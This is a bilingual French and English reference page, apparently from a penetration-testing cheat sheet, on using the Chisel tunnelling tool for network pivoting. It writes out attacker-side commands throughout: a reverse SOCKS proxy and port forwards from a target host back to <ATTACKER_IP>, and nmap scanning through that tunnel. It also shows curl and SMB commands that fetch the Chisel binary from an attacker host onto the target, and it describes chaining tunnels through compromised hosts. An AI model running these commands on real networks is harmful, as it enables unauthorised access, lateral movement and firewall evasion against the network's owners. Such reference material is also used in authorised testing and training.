← retour aux outils back to tools

# Chisel

Tunnel TCP/UDP sur HTTP sécurisé via SSH. Idéal pour le pivoting dans les environnements réseau restreints. TCP/UDP tunnel over HTTP secured via SSH. Perfect for pivoting in restricted network environments.

↗ https://github.com/jpillora/chisel

## Overview

Chisel creates encrypted tunnels over HTTP using SSH as the transport. It’s ideal for pivoting through web-only egress, bypassing firewalls, and exposing internal services.

## Common Usage

### SOCKS5 Proxy (most common)

Attacker machine — server mode

    chisel server -p 8080 --reverse

Target machine — client mode (connects back to attacker)

    ./chisel client <ATTACKER_IP>:8080 R:socks

Now use proxychains or SOCKS5 proxy on 127.0.0.1:1080

    proxychains nmap -sT -Pn 10.10.20.0/24

### Port Forwarding

    # Forward remote port 3306 (MySQL) to local 3306
    chisel server -p 8080 --reverse
    ./chisel client <ATTACKER_IP>:8080 R:3306:127.0.0.1:3306

    # Forward local port to remote (expose attacker's service to target network)
    chisel server -p 8080
    ./chisel client <ATTACKER_IP>:8080 3000:10.10.20.5:80

### Multi-hop Pivoting

Chain multiple Chisel clients through compromised hosts to reach deeper network segments.

## Transfer to Target

    # Download from attacker
    curl http://<ATTACKER_IP>/chisel -o /tmp/chisel
    chmod +x /tmp/chisel

Or via SMB

    copy \\<ATTACKER_IP>\share\chisel.exe C:\Windows\Temp\chisel.exe

Help / Man page

    chisel server [options]
    chisel client [options] <server> <remote> [remote] [remote] ...

    SERVER OPTIONS:
      --host HOST         Listening host (default: 0.0.0.0)
      -p, --port PORT     Listening port (default: 8080)
      --reverse           Allow reverse port forwarding
      --auth USER:PASS    Authentication
      --key KEY           SSH private key seed
      --tls-key FILE      TLS key file
      --tls-cert FILE     TLS cert file

    CLIENT OPTIONS:
      --auth USER:PASS    Authenticate with server
      --keepalive DURATION  Keepalive interval
      --max-retry-count N  Max reconnect attempts
      --proxy URL         HTTPS proxy for connecting to server

    REMOTE SYNTAX:
      R:localport:remotehost:remoteport   Reverse (server listens)
      localport:remotehost:remoteport     Forward (client listens)
      R:socks                             Reverse SOCKS5 proxy (port 1080)
      socks                               Forward SOCKS5 proxy

    EXAMPLES:
      Server: chisel server -p 9090 --reverse
      Client: chisel client attacker:9090 R:socks
      Client: chisel client attacker:9090 R:8080:internal:80

## Vue d’ensemble

Chisel crée des tunnels chiffrés sur HTTP en utilisant SSH comme transport. C’est idéal pour le pivoting via une sortie web uniquement, contourner les pare-feux, et exposer des services internes.

## Utilisation courante

### Proxy SOCKS5 (le plus courant)

    # Machine attaquante : mode serveur
    chisel server -p 8080 --reverse

    # Machine cible : mode client (se connecte en retour vers l'attaquant)
    ./chisel client <ATTACKER_IP>:8080 R:socks

    # Utiliser proxychains ou proxy SOCKS5 sur 127.0.0.1:1080
    proxychains nmap -sT -Pn 10.10.20.0/24

### Redirection de port

    # Rediriger le port distant 3306 (MySQL) vers le local 3306
    chisel server -p 8080 --reverse
    ./chisel client <ATTACKER_IP>:8080 R:3306:127.0.0.1:3306

    # Rediriger un port local vers l'hôte distant (exposer un service de l'attaquant au réseau cible)
    chisel server -p 8080
    ./chisel client <ATTACKER_IP>:8080 3000:10.10.20.5:80

### Pivoting multi-sauts

Enchaîner plusieurs clients Chisel à travers des hôtes compromis pour atteindre des segments réseau plus profonds.

## Transfert vers la cible

    # Télécharger depuis l'attaquant
    curl http://<ATTACKER_IP>/chisel -o /tmp/chisel
    chmod +x /tmp/chisel

    # Ou via SMB
    copy \\<ATTACKER_IP>\share\chisel.exe C:\Windows\Temp\chisel.exe

Aide / Page de manuel

    chisel server [options]
    chisel client [options] <server> <remote> [remote] [remote] ...

    SERVER OPTIONS:
      --host HOST         Listening host (default: 0.0.0.0)
      -p, --port PORT     Listening port (default: 8080)
      --reverse           Allow reverse port forwarding
      --auth USER:PASS    Authentication
      --key KEY           SSH private key seed
      --tls-key FILE      TLS key file
      --tls-cert FILE     TLS cert file

    CLIENT OPTIONS:
      --auth USER:PASS    Authenticate with server
      --keepalive DURATION  Keepalive interval
      --max-retry-count N  Max reconnect attempts
      --proxy URL         HTTPS proxy for connecting to server

    REMOTE SYNTAX:
      R:localport:remotehost:remoteport   Reverse (server listens)
      localport:remotehost:remoteport     Forward (client listens)
      R:socks                             Reverse SOCKS5 proxy (port 1080)
      socks                               Forward SOCKS5 proxy

    EXAMPLES:
      Server: chisel server -p 9090 --reverse
      Client: chisel client attacker:9090 R:socks
      Client: chisel client attacker:9090 R:8080:internal:80